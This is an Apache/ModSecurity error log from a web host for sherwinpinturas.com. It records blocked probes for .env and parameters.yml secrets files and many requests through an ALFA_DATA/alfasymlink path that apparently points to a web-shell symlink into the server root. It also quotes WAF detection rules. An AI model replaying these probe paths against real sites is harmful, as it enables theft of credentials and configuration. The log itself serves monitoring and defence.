[Tue Oct 27 13:46:47.299013 2026] [security2:error] [pid 3269335:tid 3269335] [client 107.172.76.131:61418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDjegbf3KFtuIsifZNJaAAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 13:46:48.003388 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 44.221.105.234:33580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:51.883430 2026] [security2:error] [pid 3274954:tid 3274954] [client 43.156.36.169:60138] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auDji5INvLjD_VeFzXTe2wAAAAI"]
[Tue Oct 27 13:46:59.771926 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 100.28.118.16:6279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:47:04.134780 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 34.192.67.98:11805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:47:07.923753 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 52.44.148.203:10421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:47:11.938272 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 54.164.106.236:36976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:47:23.801219 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 3.221.244.28:42008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory3/subsystem/drivers_probe
[Tue Oct 27 13:47:26.435263 2026] [security2:error] [pid 3274862:tid 3274862] [client 185.191.171.12:57528] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/man_db.conf"] [unique_id "auDjrid4ppSmACw1sONtcAAAAAU"]
[Tue Oct 27 13:47:26.435654 2026] [security2:error] [pid 3274862:tid 3274862] [client 185.191.171.12:57528] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/man_db.conf"] [unique_id "auDjrid4ppSmACw1sONtcAAAAAU"]
[Tue Oct 27 13:47:26.435945 2026] [security2:error] [pid 3274862:tid 3274862] [client 185.191.171.12:57528] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/man_db.conf"] [unique_id "auDjrid4ppSmACw1sONtcAAAAAU"]
[Tue Oct 27 13:47:51.912000 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.71.218.25:10275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:47:59.935576 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 23.23.213.182:22148] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:48:07.986558 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 98.82.38.120:11708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:48:16.157032 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 50.16.248.61:63903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:48:20.063183 2026] [core:error] [pid 3274800:tid 3274800] (13)Permission denied: [client 52.70.123.241:58024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory17/node0/memory19/subsystem/uevent
[Tue Oct 27 13:48:35.118793 2026] [security2:error] [pid 3274706:tid 3274706] [client 77.90.185.244:24005] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auDj8woyJtJSP9voS0aITQAAAAM"]
[Tue Oct 27 13:48:35.119161 2026] [security2:error] [pid 3274706:tid 3274706] [client 77.90.185.244:24005] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auDj8woyJtJSP9voS0aITQAAAAM"]
[Tue Oct 27 13:48:35.120192 2026] [security2:error] [pid 3274706:tid 3274706] [client 77.90.185.244:24005] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDj8woyJtJSP9voS0aITQAAAAM"]
[Tue Oct 27 13:48:36.444466 2026] [core:error] [pid 3274606:tid 3274606] [client 77.90.185.244:29203] AH10244: invalid URI path (/../.env)
[Tue Oct 27 13:48:38.044057 2026] [security2:error] [pid 3274862:tid 3274862] [client 77.90.185.244:24713] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "auDj9id4ppSmACw1sONtdQAAAAU"]
[Tue Oct 27 13:48:38.044300 2026] [security2:error] [pid 3274862:tid 3274862] [client 77.90.185.244:24713] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "auDj9id4ppSmACw1sONtdQAAAAU"]
[Tue Oct 27 13:48:38.045198 2026] [security2:error] [pid 3274862:tid 3274862] [client 77.90.185.244:24713] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDj9id4ppSmACw1sONtdQAAAAU"]
[Tue Oct 27 13:48:39.547175 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:26281] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auDj9-9LM8YnvVbAAtlaVAAAABU"]
[Tue Oct 27 13:48:39.547438 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:26281] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auDj9-9LM8YnvVbAAtlaVAAAABU"]
[Tue Oct 27 13:48:39.548291 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:26281] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDj9-9LM8YnvVbAAtlaVAAAABU"]
[Tue Oct 27 13:48:40.000228 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.71.46.142:41029] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:48:43.973671 2026] [security2:error] [pid 3274878:tid 3274878] [client 77.90.185.244:10873] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/admin/.env"] [unique_id "auDj--31Q9Datu6SAVXuFwAAAAY"]
[Tue Oct 27 13:48:43.973926 2026] [security2:error] [pid 3274878:tid 3274878] [client 77.90.185.244:10873] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/.env"] [unique_id "auDj--31Q9Datu6SAVXuFwAAAAY"]
[Tue Oct 27 13:48:43.974869 2026] [security2:error] [pid 3274878:tid 3274878] [client 77.90.185.244:10873] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDj--31Q9Datu6SAVXuFwAAAAY"]
[Tue Oct 27 13:48:46.732555 2026] [security2:error] [pid 3274572:tid 3274572] [client 77.90.185.244:2999] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auDj_phAJ2_LLoHRXr8L0QAAAA8"]
[Tue Oct 27 13:48:46.732806 2026] [security2:error] [pid 3274572:tid 3274572] [client 77.90.185.244:2999] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auDj_phAJ2_LLoHRXr8L0QAAAA8"]
[Tue Oct 27 13:48:46.733706 2026] [security2:error] [pid 3274572:tid 3274572] [client 77.90.185.244:2999] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDj_phAJ2_LLoHRXr8L0QAAAA8"]
[Tue Oct 27 13:48:47.866031 2026] [core:error] [pid 3274706:tid 3274706] (13)Permission denied: [client 54.225.81.20:62342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/uevent
[Tue Oct 27 13:48:48.014291 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:18823] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "auDkAO9LM8YnvVbAAtlaVQAAABU"]
[Tue Oct 27 13:48:48.014571 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:18823] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "auDkAO9LM8YnvVbAAtlaVQAAABU"]
[Tue Oct 27 13:48:48.015468 2026] [security2:error] [pid 3274723:tid 3274723] [client 77.90.185.244:18823] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDkAO9LM8YnvVbAAtlaVQAAABU"]
[Tue Oct 27 13:48:49.369851 2026] [security2:error] [pid 3274573:tid 3274573] [client 77.90.185.244:6995] ModSecurity: Warning. Matched phrase "parameters.yml" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app_dev.php/_profiler/open"] [unique_id "auDkASW3MGiB6zjguVRT7gAAABA"]
[Tue Oct 27 13:48:49.377734 2026] [security2:error] [pid 3274573:tid 3274573] [client 77.90.185.244:6995] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app_dev.php/_profiler/open"] [unique_id "auDkASW3MGiB6zjguVRT7gAAABA"]
[Tue Oct 27 13:48:49.378588 2026] [security2:error] [pid 3274573:tid 3274573] [client 77.90.185.244:6995] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDkASW3MGiB6zjguVRT7gAAABA"]
[Tue Oct 27 13:48:51.896865 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 100.29.160.53:21027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:48:59.843173 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 52.203.65.83:11915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:03.855607 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 184.72.84.154:11860] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:12.087323 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 3.223.181.32:17973] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:19.748368 2026] [ssl:error] [pid 3274606:tid 3274606] (5)Input/output error: [client 35.169.102.85:49509] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:23.789307 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 3.93.211.16:58099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:28.156513 2026] [core:error] [pid 3274723:tid 3274723] (13)Permission denied: [client 100.28.204.82:6789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource4_wc
[Tue Oct 27 13:49:31.826632 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 23.21.175.228:9339] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:35.964624 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.4.238.8:53295] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:36.781625 2026] [authz_core:error] [pid 3274868:tid 3274868] [client 205.210.31.85:58952] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:49:41.241433 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDkJc12Z0h54eBnbA_oPgAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:49:41.241523 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDkJc12Z0h54eBnbA_oPgAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:49:47.828854 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 50.19.221.48:5107] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:56.008593 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 34.204.150.196:45878] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:49:59.879623 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 98.84.184.80:53345] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:50:03.810722 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 44.221.37.41:53900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:50:20.997451 2026] [authz_core:error] [pid 3274346:tid 3274346] [client 34.72.212.172:54216] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:50:27.909022 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.221.37.41:57150] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:50:31.758352 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 52.200.142.199:48736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:50:43.788132 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.214.176.44:41099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:50:59.963370 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 18.205.213.231:18656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:03.762082 2026] [core:error] [pid 3274878:tid 3274878] (13)Permission denied: [client 18.232.11.247:50120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:02/subsystem/uevent
[Tue Oct 27 13:51:09.364657 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 85.208.96.208:28856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:11.790987 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 98.84.70.201:41191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:15.849193 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 52.3.104.214:60003] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:24.144655 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 54.204.12.115:36168] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:27.779426 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 3.93.211.16:22569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:31.741271 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 35.173.18.61:1111] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:40.001015 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 54.83.180.239:47956] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:51:51.832152 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 3.222.85.38:3873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:08.043654 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 18.213.240.226:24788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:15.916785 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 18.207.89.138:37554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:23.776395 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 3.226.34.98:14493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:32.131502 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 44.220.2.97:20859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:43.957344 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 34.224.132.215:27223] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:52:55.931718 2026] [core:error] [pid 3274868:tid 3274868] (13)Permission denied: [client 52.5.242.243:6110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/hardware_error_device/unbind
